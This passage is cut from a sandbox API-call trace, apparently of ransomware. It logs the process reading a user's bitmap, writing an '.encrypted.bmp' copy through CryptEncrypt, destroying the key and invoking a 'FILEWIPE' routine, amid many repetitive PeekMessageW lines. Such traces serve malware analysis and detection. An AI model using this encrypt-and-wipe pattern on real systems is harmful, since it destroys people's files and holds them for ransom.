wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.715] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ad40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0027.715] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0027.715] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0027.716] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\1KmvsODIJKFCpkCm.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\1kmvsodijkfcpkcm.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.717] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.717] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.718] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures")) returned 0x11 [0027.718] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\1KmvsODIJKFCpkCm.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\1kmvsodijkfcpkcm.encrypted.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.718] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.719] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.719] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0xd640, lpOverlapped=0x0) returned 1 [0027.720] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.723] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.723] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.724] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.724] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.724] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.724] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.725] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.725] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.725] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064a90, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a90*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.725] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.726] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.726] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.728] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.728] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.729] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.729] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd640, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xd650) returned 1 [0027.729] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.729] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.729] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.729] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.729] CharLowerBuffW (in: lpsz="byte[54865]", cchLength=0xb | out: lpsz="byte[54865]") returned 0xb [0027.729] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.730] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.730] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a2320*, pdwDataLen=0xe8f3dfdf68*=0xd640, dwBufLen=0xd650 | out: pbData=0xe8f43a2320*, pdwDataLen=0xe8f3dfdf68*=0xd650) returned 1 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.730] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.796] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.796] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.796] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.796] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.796] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.796] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.796] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.797] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.797] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.797] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.800] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.800] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.800] PeekMessageW (in: 